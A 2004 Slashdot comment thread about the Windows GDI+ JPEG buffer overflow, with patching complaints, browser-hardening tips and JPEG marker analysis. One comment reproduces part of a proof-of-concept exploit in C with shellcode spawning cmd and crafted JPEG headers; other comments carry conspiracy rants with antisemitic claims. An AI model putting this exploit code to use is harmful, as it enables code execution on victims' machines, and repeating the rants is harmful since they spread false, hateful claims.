    2. Re:The Extra Kicker For Office... by jamiefaye · · Score: 1

      Where this is really going to be a problem is with people who "borrowed" an Office disk for installation, or who have a slightly different version of the Office disk than their system was originally installed with.

      1) Write sloppy JPEG code.
      2) Make people prove they are valid owners to get fix.
      3) Those that don't get creamed by the next worm.
      4) Sell new Windows & Office licenses to the victims.
      5) Make billions of dollars.

      Most Windows installations die from bit rot in a year or two. The death rate will now double.

    3. Re:The Extra Kicker For Office... by Anonymous Coward · · Score: 0

      Of course, that was wrong and illegal from the begining, so people should not have been doing that.

    4. Re:The Extra Kicker For Office... by GSloop · · Score: 1

      Sheesh...

      I can't tell you how often my clients have Office SB and can't find the disks. I know they're licensed, but they can't find the CD.

      I often end up having to find some way to hack around the problem.

      Rule 1: Never expect the user to be able to place their hands on any of the materials that came with their computer.

      Cheers,
      Greg

    5. Re:The Extra Kicker For Office... by Anonymous Coward · · Score: 0

      First: If you are in a corp environment then it is the admins job to see to this. No end user should be installing or maintining their copy of office.

      Second: If you are at home, of course you have your legally obtained office disks right?

      Last: It only requires the disk sometimes. I have a feeling that it only asks for the disk when a user has not installed a feature which needs patching, it then essentialy requires that feature to be installed so it can be pathched (just a guess)

      I do agree that this is a PITA fix. It is the first, widespread, end user bug that has not been as easy to fix as clicking a button. I would say that this is the worst "bug" Windows has suffered since I started coding for it at version 3.0 SO this would be more of a "Thanks the first" rather than a "Thanks again".

    6. Re:The Extra Kicker For Office... by miller701 · · Score: 1
      If you click cancel on the install, there's two other choices on the resulting webpage that direct you to full versions of the patch.

      Click on "More information..." below the patch description.

      It's isn't easy to find (on two of the five patches my system needed, I had to click around to find the actual file, three of them the file was provided at the bottom of the page.

      I give them a passing grade for providing the full install files, but it's a D- for all of the hoops you have to jump through.

      Glad I have a mac at home.

  79. Java [applets] != ActiveX by FerretFrottage · · Score: 1

    ActiveX I can see, but java applets by default run in a sandbox so I don't see how they belong in the same exploit category in the context of which you are mentioning it. Now if you grant an applet permission to access your PC [explicitly or by messing with your java security settings], then it's your own damn fault. Likewise, if you install a java application, it's like installing any application...you better know what you are installing and what the program's true intentions are when you execute it.

    --
    "Look Lois, the two symbols of the Republican Party: an elephant, and a fat white guy who is threatened by change."
  80. It is official; OSTG now confirms: by lu004202 · · Score: 1, Funny

    Slashdot has jumped the shark. Bow before your corporate masters.

  81. Reminder by Futurepower(R) · · Score: 1


    Remember that the space in the line above was put there by Slashdot software.

    --
    Bush: Spending money the U.S. doesn't have to try to make his administration look good.

  82. This exploit and electronic voting. by hotspotbloc · · Score: 1
    Some how I suspect that Diebold doesn't have the time to patch, test and recertify their voting machines before the November election. Please tell me that someone isn't going to be able to "patch" or add an infected jpeg [to Diebold's "root distro"] to alter a machine's tally. Because of recertification time restraints I suspect that fixing problems like this could take months instead of the few minutes, like it does for most XP boxes.

    Add in all the other critical systems that need any patches first "certified" by a vendor (i.e.: medical, manufacturing, "plant" operations software and/or hardware) and this little exploit could be a real mess.

    I guess this is another reason to say no to electronic voting.

    --
    "I hate to advocate drugs, alcohol, violence or insanity but they've always worked for me" - HST
  83. It does by Rayban · · Score: 2, Informative

    Check out the setting "network.automatic-ntlm-auth.trusted-uris". It will automatically send your Windows credentials to any URL listed in the comma-separated list.

    --
    æeee!
  84. OSS browsers have similar probs by TheLink · · Score: 3, Informative

    They're written in the notorious "buffer overflow" languages, so most people will have these problems for the near future.

    Meanwhile what you can do is to run each program as a different more restricted user.

    On windows XP, run IE with using a shortcut with a runas with savecred (you should modify those in the start menu and quick launch too), and set it so it runs using a very restricted account. The restricted account should either have access to your bookmarks, history and temporary files, or you should run it so it changes to the restricted user's home directory and you allow your main account access to the restricted user's home directory.

    Look up the runas command for the options. It'll be more convenient on WinXP since there's the savecred feature.

    On UNIX, I think you can use sudo or something similar. Sudo to a restricted account and then run the browser.

    This way, if your program gets exploited it can only ruin what the restricted user has access to, it can't easily touch the rest of the system.

    Exploits can still theoretically touch the rest of the system since there's stuff like shatter attacks (for windows, not sure about KDE/GNOME), and I'm sure display drivers have bugs of their own and they run in ring 0 (on windows).

    But if you do this it raises the bar significantly.

    There are other options if you're really paranoid and don't mind the extra effort.

    --
  85. My Head is Reeling. by microsopht · · Score: 1
    Almost everyday I have been downloading the patches from Microsoft and others. - so much so that iam using DAP download mngr and queing them up !

    yesterday it was scroll bar vulnerabilty,today is Jpeg Vulnerability....
    Whats it going to be tommorow?
    Computer Switch ON Vulnerabilty? Iam not going to be surprised if such a one comes up.
    Add to this my dial up connxn!

    Right now I use Win 98 ,Firefox .

    BTW,what are the updates for Firefox vulnerabilities and where do I find it?

    I think the next generation Download Managers should have these features:
    * Select s/w for patch update search - Eg: windows,office,IE,FF,Winamp. * Automatically queue them up and download.

    I think thats the only way I can manage to download all patches for all s/w I use.

    The Fun of Internet is only so long as your computer does not get infected.

    1. Re:My Head is Reeling. by MasterOfMagic · · Score: 1

      Whats it going to be tommorow?
      Computer Switch ON Vulnerabilty?


      Every bug is a subset of this one - your computer has to be on to be compromized.

  86. Ooh, look! They saved the big bug for the election by Fantastic+Lad · · Score: 0, Offtopic
    People have known about this vulnerability for ages. Microsoft created the damned thing, for goodness sake. The people in charge of determining how JPEGs are processed when they return a data overflow ARE NOT THAT INCOMPETENT! This is NOT a bug.

    And it was carefully timed. The more fear and confusion on the web, the less attention will be given to the important issues, namely the election coming up in. . . How Many Days??

    For goodness sake, Gates is part of the Homeland clique; he's spent time in planning meets with Homeland honchos to better determine how Microsoft could 'help out'.

    Not that it actually matters. This is now merely an internal struggle between pawns; Kerry is just as much a dangerous bastard as Bush. . .

    WASHINGTON (AFP) - Democratic presidential candidate John Kerry's campaign blasted the Bush administration for "another national security failure" on Iran's nuclear program and urged that Tehran be threatened with tougher sanctions.

    Campaign spokesman Mark Kitchens told AFP that the White House's "arrogant unilateralism" had made it harder to get the necessary cooperation from European allies and the UN nuclear watchdog to rein in Iran's ambitions.

    He made his comments a day after a State Department spokesman expressed alarm over Iran's admitted program of uranium enrichment and declared that Tehran was making an "unrelenting push toward nuclear weapons capability."

    "Recent developments represent another national security failure for the Bush administration," Kitchens said as the Kerry campaign sharpened its attacks on President George W. Bush six weeks before the November 2 election.

    --That is, (pardon my editorializing), both parties, despite their surface disagreements, are pushing for an escalation against Iran. This is the exact same technique as was used against Iraq. There is almost no difference.

    Run a bunch of bullshit stories about the 'sudden' threat of Iranian nuclear intentions to gain a big, sloppy, predictable and easily directed emotional response from all the American twits and drones.

    Israel complains and whines that the UN should do something, despite the fact that there have been illegal nukes in the arsenals of the Promised Land for decades. Double standards, anyone? (Oh, I'm sorry. I forgot. The Zionists are the Good Guys. They're allowed to commit genocide so long as they own all the news papers and have it called 'anti-terrorism'.)

    The UN is bullied into creating a half-assed directive by which Iran can be observed, tested and punished if they don't meet some arbitrary dead-line.

    It doesn't matter what the heck the actual findings are when the UN inspectors are sent in, the American media and the psychopaths in government will simply tell lies and spin the hell out of everything to get what they want, which is. . .

    Cluster bombs in Iran, dead children, de-stablized government and CIA installed despot. Just like in Iraq. --And needless to say, all Americans between the ages of 19 and 38 carrying machine guns.

    The most ridiculous part is that EVERYBODY WILL FUCKING FALL FOR IT AGAIN. --Because Americans have been the subject of a century long campaign to make them poor, ignorant, fat, drugged, and retarded.

    A nuclear bomb in some American city set off by the Mossad or CIA in yet another false-flag operation around election time would be a good way to spur things along if this JPEG bullshit driving people away from the web doesn't prevent enough communication and public discourse.

    We'll see.


    -FL

  87. Re:Only for Office users by Anonymous Coward · · Score: 0

    That only applies to outlook, not outlook express. That means you need to have a copy of Microsoft Office to get Outlook 2003, as no version of Outlook Express supports that.

  88. How does this prove THIS HAS NOT BEEN FIXED? by slot32 · · Score: 1

    Can you PROVE this JPG that crashes my IE on my fully patched xp system crashes *because* of this vunerability though? I mean, it could crash it if it WAS fux0red right? This isn't exactly proof of an exploit is it? It opens in my picture & Fax viewer if I save it to my desktop and double-click it there...

    1. Re:How does this prove THIS HAS NOT BEEN FIXED? by Anonymous Coward · · Score: 0

      It's not just XP !
      The demo JPG crashes IE 6 SP1 with the patch,
      under Win 2k SP4 too.

  89. The problem is within a graphics library by BinaryOpty · · Score: 0, Redundant

    A lot of posts around here are running around acting as if each individual Microsoft program has a problem specific to that program which is entirely false. Just like with the libPNG exploit, this exploits a graphics library: GDI+. It's the library's fault why this affects so many programs: they used the library in all of them.

  90. Re:Most people use Outlook Express by Anonymous Coward · · Score: 0

    Exactly, you need Outlook 2003, which means MS Office. Most people use Outlook Express, which comes with MSIE, and Outlook Express does not support that.

  91. One of the best exploit sites around by Alejo · · Score: 2, Interesting


    For info on exploits badcoded Note: This is not a 0day site, it is real info for exploit writing.

  92. It's tough to patch by Vandil+X · · Score: 1

    There are too many OS/App combinations to patch for. Microsoft should have released a and downloads the patched files you need.

    The current "tool" only tells you if you have vulnerable files and redirects you to Office Update.

    --
    Up, Up, Down, Down, Left, Right, Left, Right, B, A, START
    1. Re:It's tough to patch by prandal · · Score: 1

      And Office Update tells you you're OK. When you're not. And the silly detection tool is too lazy to tell you what files it has found. The ISC has released a tool which will scan and report on what it has found.

      Hmm, Nero 6.3.25's toolkit has an obsolete version of GDIPlus.dll. Yes, that's right, Nero 6.3.25 has just been released, without the updated GDIPlus. Yay!

      And something has kindly installed "C:\Program Files\Common Files\Microsoft Shared\Office10\MSO.DLL" on my system. Vulnerable, yup. Office Update finds it? Nope.

      What we need is a "Seek and Replace" tool to fix all occurences. Microsoft Installer's inane way of (not) handling patches is another nightmare, too (which is why updating Office will be so problematic for MANY people).

  93. He knew it... by insac · · Score: 5, Interesting
    When I was in University there was an old professor who gave us to write relation about JPEG format with code examples...

    When we were leaving his room he gave us this advice: "Beware the JPEG virus". It was 9 years ago and he was quite old and sometimes he acted/talked nonsense so we made fun of his advice (we thought: since it was not an executable file, how could it bring a virus): but he was right and we were wrong..

    --
    This message doesn't need a sig
    1. Re:He knew it... by Anonymous Coward · · Score: 0

      I think its more likely that he was being sarcastic with you, because (at the time) computer illiterate people couldn't grasp the concept of why data files don't have malicious code in them.

      Guess the monkeys are smarter than us after all.

  94. How did this make +4 informative? by drinkypoo · · Score: 1

    Are the moderators in question stupid, or just friends of yours?

    Mozilla uses a number of Windows API calls to do its job. Amazingly, on Unix systems, it uses libraries only found on those systems. On my gentoo linux system it's linked to libpthread, libX11, and a bunch of other X libs. I'm not sure what it's linked to on Windows, because I don't have a tool for that (be nice if 'doze came with one eh? I used to have one but I forget what it was called) but I suspect the situation is much the same.

    --
    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  95. What About AMD64 ? by draxredd · · Score: 0

    I'm curious about the Efficency of their touted NX bit which is said to prevent buffer overrun scenarii and is only included in XP-SP2. anybody tested this ?

    --
    --- Back to the trees, back to the trees !
  96. They fell for it 24 times before. by Futurepower(R) · · Score: 1


    "The most ridiculous part is that EVERYBODY WILL ... FALL FOR IT AGAIN."

    Exactly right: The U.S. government has bombed 24 countries since World War 2. The system of violence works by creating fear in U.S. citizens so rich people can profit. The problem happens largely because the U.S. government has a break-the-law department called the CIA. Secret government is not democratic.

    This is the 55th serious vulnerability in IE found in two years. I've often wondered: Are Microsoft programmers that sloppy, or were the bugs put there to help with U.S. government surveillance? Why did the U.S. Department of Justice let Microsoft off so easily for its anti-trust violations?

    1. Re:They fell for it 24 times before. by Anonymous Coward · · Score: 0

      "or were the bugs put there to help with U.S. government surveillance?"

      Oh god, I just posted this in a tongue in cheek replay to the grandparent, but someone actually proposed it seriously. This is getting better and better.

      Did you guys know that Bill Gates has met with Bush 8 times in the past two months? What do you think about that??? How about the sudden caving in of the govt allowing for the Oracle/PeopleSoft merger? What secret deals do you think they cooked up in order to get it passed? Hint: databases, "PEOPLE"Soft, Total Information Awareness, Deperatment of Homeland Security, the Muppets. Make the connections.

  97. anonymous update solution: by Anonymous Coward · · Score: 0

    Download patches from technet.microsoft.com through a proxy server.

  98. Snowcrash by Ravalox · · Score: 1

    I bet someone else has made this comparison, but Snowcrash anyone? Looking at a viral image...

  99. How about a link to the patches? by Anonymous Coward · · Score: 0

    Some links missing from the original post: Windows Update and Office Update. Now that wasn't so hard, was it?

  100. Patch is borked by Anonymous Coward · · Score: 0

    We push the updates out so an admin doesn't have to visit every machine. Now an error box pops up when a regular user logs in that says that they have to be admin to actually run the detection routine that was auto-installed. So now an admin has to run around to each machine.

  101. How About "Use Safe Patterns?" by EXTomar · · Score: 1

    Yeah you can rewrite libjpeg with a different runtime that is consider 'safer' but it will still suffer if the design patterns are the same. You can write a new libjpeg in cyclone but if the underlying reason the bug was exposed is not fixed then cyclone won't help. The new libjpeg will still malfunction maybe in not such an egregious way but still busted.

    I see this pop up all of the time: People try to pin the problem on C/C++ instead of the design pattern which lead to to the exploit. You can write bulletproof code in C/C++. You can write code that can be exploited in Java/C#/Perl/etc. No runtime is safe if the code is bogus.

  102. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  103. Re:goatse by MustardMan · · Score: 2, Funny

    I've come up with the ultimate computer exploit, ever. You make a jpg of goatse, with this exploited code in it. The exploit code runs an application which activates any webcams, if present, and starts taking pictures, which it then sends back to the 31337 h4x0r.

    Think of it, an entire gallery of horrified faces, kinda like in The Ring when people's faces went all nasty after watching the video.

  104. win2k by TubeSteak · · Score: 1
    unlike many people out there, I don't bother to keep my system bleeding edge up to date. I'm running winxp with SP2 and IE 5.5. (will be moving to firefox because i like it better than Opera) And as far as I can tell... I'm not exposed to this newest bug.

    It seems like every new "update" from MS creates a whole host of new security prolems to worry about.

    And i couldn't seem to find a full copy of the proof of concept, just some edited versions :o(

    --
    [Fuck Beta]
    o0t!
    1. Re:win2k by julesh · · Score: 2, Informative

      Here's the copy I tested with (compiles with just about any C compiler, I used MS Visual C++ with the command line "cl /MD exploit.c"). I've disassembled the shell code to be sure it does what's claimed, and it seems legit to me.

      // Lameness filter doesn't like C code....
      //aksdnckdnaslcjknasdcjknasdlcnjklasdncj klasdnckldnscjkldnaslcjkansdjklcnasljkcnaalksdjncl ajksdnclka
      //asdjkcnhladksjcnklasdjcnklasdjnclajk sdncklasndlckjansdcjknalsdkclaksdjcnlajkdnclaknldj klaegfjkaehg
      //12345kjbfjwerv7890werw14hbfwjfbkjk 2jksnksbhcjksbckjhbkdbakjbdkcjbskcjabkyuajwjbhawhj fgasdiouchacbk
      //aduicyga897schjawegiuci7akcajhwb vekjhcaw78cyakdjachbdjkka7w6ieucbdihcbajksdhbciauy cguaddbiua76teui
      //jkasdbcdbhsajkbhsdcabsdjkcbkad kcabscadcbasbdcabddsbcasdcbascdbcasbdcadcbdasbcasb cjhabscadjkasdbckj
      //ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
      //ZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZ
      //ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
      //jkasdb cdbhsajkbhsdcabsdjkcbkadkcabscadcbasbdcabddsbcasdc bascdbcasbdcadcbdasbcasbcjhabscadjkasdbckj

      // GDI+ buffer overrun exploit by FoToZ
      // NB: the headers here are only sample headers taken from a .JPG file,
      // with the FF FE 00 01 inserted in header1.
      // Sample shellcode is provided
      // You can put approx. 2500 bytes of shellcode...who needs that much anyway
      // Tested on an unpatched WinXP SP1

      #include <direct.h>
      #include <stdio.h>

      char shellcode[]=
      "\x68" // push
      "cmd "
      "\x8B\xC4" // mov eax,esp
      "\x50" // push eax
      "\xB8\x44\x80\xC2\x77" // mov eax,77c28044h (address of system() on WinXP SP1)
      "\xFF\xD0" // call eax
      ;

      char header1[]=
      "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\ x46\x00\x01\x02\x00\x00\x64"
      "\x00\x64\x00\x00\xF F\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"
      "\ x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x6 4\x6F\x62\x65"
      "\x00\x64\xC0\x00\x00\x00\x01\xFF\ xFE\x00\x01\x00\x14\x10\x10\x19"
      "\x12\x19\x27\x1 7\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26"
      "\x2E\x3E\x35\x35\x35\x35\x35\x3E";

      char setNOPs1[]=
      "\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
      " \x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\x D9\x75\xF8";

      char setNOPs2[]=
      "\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B "
      "\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x 3B\xD9\x75\xF8";

      char header2[]=
      "\x44"
      "\x44\x44\x44\x44\x44\x44\x44\ x44\x44\x44\x44\x44\x01\x15\x19\x19"
      "\x20\x1C\x2 0\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\ x2B"
      "\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x4 4\x44\x44\x44\x44\x44"
      "\x44\x44\x44\x44\x44\x44\ x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"
      "\x44\x4 4\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\xFF\ xC0\x00"
      "\x11\x08\x03\x59\x02\x2B\x03\x01\x22\x0 0\x02\x11\x01\x03\x11\x01"
      "\xFF\xC4\x00\xA2\x00\ x00\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00"
      "\x0 0\x00\x00\x00\x00\x03\x04\x01\x02\x05\x00\x06\x01\ x01\x01\x01"
      "\x01\x00\x00\x00\x00\x00\x00\x00\x0 0\x00\x00\x00\x00\x01\x00\x02"
      "\x03\x10\x00\x02\ x01\x02\x04\x05\x02\x03\x06\x04\x05\x02\x06\x01"
      "\x05\x01\x0

  105. Re:Microsoft patches (quick fix that works!) by Anonymous Coward · · Score: 0

    I used these patches on my xp box and it works greeeeaaaat now:
    http://download.fedora.redhat.com/pub/fedora /linux /core/1/i386/iso/

  106. Re:Ooh, look! They saved the big bug for the elect by Anonymous Coward · · Score: 0

    Wow, a buffer overflow bug is part of a vast conspiracy. I assume the other buffer overflows recently found in libpng and other OSS libraries was part of the conspiracy too? Let me guess, they were bugs planted by the CIA and NSA to keep us swearing at our computers so we don't notice the black helicopters overhead?

    You are entertaining though!

  107. Opera is immune too by Nicolay77 · · Score: 1

    And it is not even the latest version.

    That's for me the best browser ever.

    --
    We are Turing O-Machines. The Oracle is out there.
  108. ASCII porn by Anonymous Coward · · Score: 0

    if you can't have pictures or movies, consider the old option: ASCII porn. Of course, if Notepad has a security hole, you are SOL.

  109. I just can't believe... by Anonymous Coward · · Score: 0

    ... there are still people out there who are still using Monkeysoft [Microsoft] software. After the thousands of articles on the net explaining how bad and insecure MS software is?!? Hmm... that's hard to believe.

    Oh well... if they continue to use M$ software, then, they deserve to be hacked/crippled.

    Hopefully, they'll learn their lesson and dump Windows in the garbage where it belongs.

    Long live Linux!!!

  110. Re:goatse by Enigma_Man · · Score: 0, Offtopic

    Best idea EVAR!

    -Jesse

    --
    Nothing says "unprofessional job" like wrinkles in your duct tape.
  111. Lag between winxp and win2k patches => 0-day by tepples · · Score: 1

    Microsoft is spelled with an s, not a dollar sign.

    In early dialects of BASIC, many of which were published by Microsoft, all names of string variables ended with '$'. So if you did LET M$ = "Microsoft" earlier in the program, then M$ would in fact refer to Microsoft.

    Hence, SP2 was released before other patches.

    When Microsoft releases a patch for one product, black hats analyze the patch to determine the exact nature of the vulnerabilities that remain unpatched in Microsoft's older products. If the black hats get a working exploit into the wild before Microsoft backports the patch to its older products, then say hello to 0-day.

  112. Re:one more reason not to use Windows by thebatlab · · Score: 1

    JPEG *may* be done right. Looks like "they" missed something in libPNG

    http://developers.slashdot.org/article.pl?sid=04/0 8/05/0415206&tid=156&tid=172&tid=1

  113. Threads. . . by Fantastic+Lad · · Score: 1
    Wow, a buffer overflow bug is part of a vast conspiracy

    And guess what? Your trying to discredit the idea through ridicule is a part of the same 'Vast Conspriacy'. But did you take orders? Did you recieve an envelope from a shadow figure? Of course not! But this doesn't alter the fact that you are a part of a large force of awareness, and that you are affecting how the world percieves events. Get enough people doing as you do, and the world looks the other way. Amazing! And where is the 'Vast Conspiracy?'

    Oh, it's there. It's just far more effective than most people give it credit.

    Let's take the current example: --All it takes are people in the news force with Computer Bug Stories kept in waiting for release at appropriate times, and then to do so with the appropriate level of alarm and coverage. Instant cultural change is affected in very controlled and predictable ways. If I was in charge and evil, that's definitely how I'd do it.

    Or are you suggesting that news agencies are not massively influenced by powerful people with agendas? Do you really believe that?

    I certainly hope not, because there is ample proof to the contrary. Do you want some links? There are lots. --Look up the most recent story about Canwest Global in Canada, which owns much of the news pie in Canada for a brief example.

    Are you trying to tell me that the world presented to you by your TV and your government is an accurate picture of reality?

    Only a fool would answer Yes to that, so my next question is, "How much of that presented reality is false?" Ten percent? Thirty percent? Eighty?

    The problem is that the loose threads of the make-believe reality are many and very easy to pull on. Those who chuckle lightly at this assertion and who find me, 'entertaining' are those who have never pulled a thread or questioned a teacher, or stepped outside the socially accepted bounds in their lives.

    And the reality of the matter is that it is far more likely that such tactics are used than not.

    To pull out Occam's rusty razor, one can ask, "Which is more likely: That sneaky tactics and social manipulation are used by greedy, manipulative people, or that everybody is good and honest?"

    Or as I like to put it; "So you don't believe in Conspiracies? Fine. How about if I change the word; Do you also not believe in Corruption?"

    The fact that you are reacting in the way you are is evidence that you are one of the mind-controlled. Take a few minutes to ask yourself how such could be possible; explore the notion, don't just cast it off, and see where that takes you. (How much time every day do you spend staring at a TV screen with your eyes wide and your brain hypnotically opened?)

    Do you want some links about how that works? Or would you prefer to be 'entertained'.

    Truth or lies. Pick one. Your life depends on it.


    -FL

    1. Re:Threads. . . by Anonymous Coward · · Score: 0

      I'm just wait for you to get to the part about the Earth really being flat and this 'globe' idea being part of the conspiracy.

    2. Re:Threads. . . by Fantastic+Lad · · Score: 1
      I'm just wait for you to get to the part about the Earth really being flat and this 'globe' idea being part of the conspiracy.

      Uh, yeah. Just keep on 'wait' there, genius.

      I don't know why I waste my words.


      -FL

    3. Re:Threads. . . by Anonymous Coward · · Score: 0

      We don't either.

      Its funny how the conspiracy maniacs believe that everyone else is either part of the conspiracy, or brainwashed, but only they understand the REAL truth. I am sure psychologists have a term for it. You should go see one. No, they aren't part of the conspiracy. Really.

    4. Re:Threads. . . by Anonymous Coward · · Score: 0

      Lets apply Occam's razor to your theory:

      Is it more plausible that:
      1) The U.S. government conspired with Microsoft and independent OSS software developers all over the world to develop buffer overflow bugs to distract people from the coming election in the hope that a buffer overflow bug would sway them to vote one way or the other (or not vote) in order to get a particular candidate elected (presumably Bush), or

      2) Some programmers were sloppy and wrote code that contained buffer overflow bugs

      Pick one.

    5. Re:Threads. . . by Fantastic+Lad · · Score: 1
      We don't either.

      Ah. Now you're in the plural, I see. (And you're recommending that I see a shrink?) Do you actually know each other or do you really find it so necessary to seek comfort in numbers when trying to protect your belief system from any sort of analysis that you'll jump at the chance to use the word, 'We'?

      That's pack mentality, buddy. Stems from a desire to submit one's individuality and critical thinking in favor of gaining the protection of numbers. --Which is a symptom of Fear. And yes, actually, I do know a little something about psychology, so be careful who you call crazy.

      Whatever the case, identifying yourself as an 'Anonymous Coward' is wonderfully appropriate.

      Did you really not understand what I was saying about how so-called 'conspiracies' work, or did you simply not allow it inside your mind as you flicked your eye to the end of my post, ('Threads'), with pre-conceived notions to deliver your light-weight jab? Could you even explain the argument presented there? Did you look at the link provided?

      This is why I'm saying I'm wasting my words. You're giving me little evidence that there's much rationality at work in your head.

      Simply repeating the assertion, "You're Wrong!" doesn't alter anything, though it does aptly demonstrate the caliber of your mind.

      Go back and try again, or get lost.


      -FL

  114. This is NOT just a Microsoft bug! by Samir+Gupta · · Score: 0
    Microsoft did not write their own JPEG code; rather they used the freely available implementation from the Independent JPEG group. The flaw is actually in the IJG code, not any Microsoft code.

    Indeed, Netscape, which also uses that code for its JPEG decoding had that flaw (but it was fixed earlier, and of course, it did not make the news nearly as much as this Microsoft issue, owing to its much smaller market share.)

    http://www.openwall.com/advisories/OW-002-netscape -jpeg/

    --
    -- Samir Gupta, Ph. D. Head, New Technology Research Group, Nintendo Co. Ltd., Kyoto, Japan.
  115. Re:one more reason not to use Windows by ajs318 · · Score: 1

    OK, I'll give you that one. If you didn't laugh you'd have to cry!

    At least now the matter is in the daylight, rather than being hushed-up.

    --
    Je fume. Tu fumes. Nous fûmes!
  116. I call SHENANIGANS! by Anonymous Coward · · Score: 0

    No, they are known as DLLs (dynamic linked libraries) so that Microsoft can claim they are a new invention. Before MS was even a twinkle in Paul Allen's eye I was writing code that used RTL routines (that's "Run-Time Libraries" to you youngsters, which are different from compile-time routines such as those in the OTL (Object-time library).

    DLLs are just a phenomenally half-assed implementation of an idea nearly as old as programming itself. The RSX-11m and RSTS/E operating systems, to name just two examples, did it better before Microsoft existed.

  117. Funny, but still kind of lame post. by Anonymous Coward · · Score: 0

    If you clone the idea of a DLL, you are cloning the half-assed, badly supported implementation of shared run-time code that Microsoft stole from Digital Equipment Corporation.

    The only new idea anyone at MS ever implemented was "Microsoft Bob".

  118. Patch already exists for this, too by beer_maker · · Score: 1
    Sorry, a patch has been available since earlier this week which checks all copies of GDI+ and fixes them. This is in addition to similar code already part of XP SP2, which fixed the issue in the OS.

    --
    Hmmm. Your ideas are intriguing to me and I wish to subscribe to your newsletter.
  119. eSolutions. by Anonymous Coward · · Score: 0

    eSolutions = dope.

  120. Re:goatse by idontgno · · Score: 0, Offtopic
    Re:goatse (Score:2) by MustardMan (52102) on Thursday September 23, @11:21AM (#10330108)
    I've come up with the ultimate computer exploit, ever. You make a jpg of goatse, with this exploited code in it. The exploit code runs an application which activates any webcams, if present, and starts taking pictures, which it then sends back to the 31337 h4x0r.

    Think of it, an entire gallery of horrified faces, kinda like in The Ring when people's faces went all nasty after watching the video.
    --
    I'll take anal bum cover for 500, Alex... That's "an album cover!"

    OMG, do you realize how sickeningly appropriate your .sig is just now!?!?

    --
    Welcome to the Panopticon. Used to be a prison, now it's your home.
  121. Paracetamol == Acetaminophen by metalpet · · Score: 1

    For curious folks who have never heard of paracetamol, it's a popular french brand of headache/pain/fever/whatever-reducer, equivalent to Tylenol.

  122. Use lynx/offbyone/opera, maybe those are OK. by iamcf13 · · Score: 1

    Use lynx/offbyone/opera, maybe those are OK.

    Maybe they don't have this exploit present in their JPEG rendering routines....

  123. Re:Almost... (possible) by asac · · Score: 1

    mozilla and firefox are capable to do kerberos SSO. NTLM SSO is flawed anyway. Try about:config (type to the location bar) and set the config value for: 'network.negotiate-auth.trusted-uris'. For example set it to 'https://somehost.somedomain.com' to enable SSO Negotiation for that domain.

  124. The old adage by Anonymous Coward · · Score: 0

    A picture is worth a thousand exploits.

  125. Re:OpenBSD by Anonymous Coward · · Score: 0

    The libraries in question were not programmed by microsoft, they're generic code to read JPEG files, made by the JPEG group or however they're called.

  126. I don’t get it by Pan+T.+Hose · · Score: 1

    Everyone knew it was a backdoor.

    Though some thought it was the "front" door.

    I have read this sentence countless times and to be honest I completely fail to understand the humour thereof. Could you please provide any hint? (Somehow, I know I will deeply (pun not intended) regret it...)

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
    1. Re:I don’t get it by Anonymous Coward · · Score: 0

      This guys obiously never been with a girl before.

  127. The concept isn't new by Reziac · · Score: 2, Informative

    I've *always* scanned ALL files -- because even in the DOS era, you could never rely on the extension and the functionality having anything to do with one another. (Remember XTreeGold for DOS? the *.XTP files are *executables*, called by XTG.EXE as needed.)

    Occasionally even then, the front end of a virus was named whatever.com and was itself "clean" (so would be passed by most scanners), but its job was to call the REAL executable, named something like whatever.dat, which contained the virus code (and if you limited your scanner to known-executables, it would be missed). I have personally seen a virus carried in the whatever.dat part of some purported utility.

    As to viruses in image files, it has always been theoretically possible to execute code placed in a GIF's comment field, and I vaguely recall there was a similar exploit possible for JPGs. The only reason this GIF exploit was never seen in the wild is because in the olden days, you couldn't count on everyone using the same viewing software; there were dozens of DOS image viewers, no two of which worked alike. NOW, a virus author can pretty much count on the majority of users using such files thru some combination of Windows, IE, and M$Office, so such formerly-obscure tricks become worth the bother. Much more so when M$ kindly offers malware authors a leg up like this. :(

    --
    ~REZ~ #43301. Who'd fake being me anyway?
  128. Start of Scan (SOS) block by Shmibbon · · Score: 2, Interesting
    This has something to do with the Start of Scan (SOS) block. From here:
    SOS (Start Of Scan) marker:

    Marker Identifier [2 bytes]
    _0xff, 0xda identify SOS marker

    Length [2 bytes]
    _This must be equal to 6+2*(number of components in scan).

    Number of Components in scan [1 byte]
    _This must be from 1 to 4 (otherwise error), usually 1 or 3

    Each component [2 bytes]
    _For each component, read 2 bytes. It contains:
    __Component ID [1 byte]
    ___1=Y, 2=Cb, 3=Cr, 4=I, 5=Q
    __Huffman table to use [1 byte]
    ___bit 0..3 : AC table (0..3)
    ___bit 4..7 : DC table (0..3)


    Ignorable Bytes [3 bytes]
    _We have to skip 3 bytes.

    Important part is in bold.

    On that site are 3 important images: AlexPaul2, AP3, and AP4. All 3 display correctly in Firefox, IrfanView, and Windows Picture and Fax Viewer. The only problem seems to be with IE.

    With IE:
    AlexPaul2 - correct
    AP3 - hues are wrong, red and blue appear to be switched
    AP4 - CRASH

    All of these use 3 components in the scan, so there are 6 bytes total for that portion of the SOS block.

    AlexPaul2: 0100 0211 0311
    AP3: 0100 0311 0211
    AP4: 0311 0211 0100


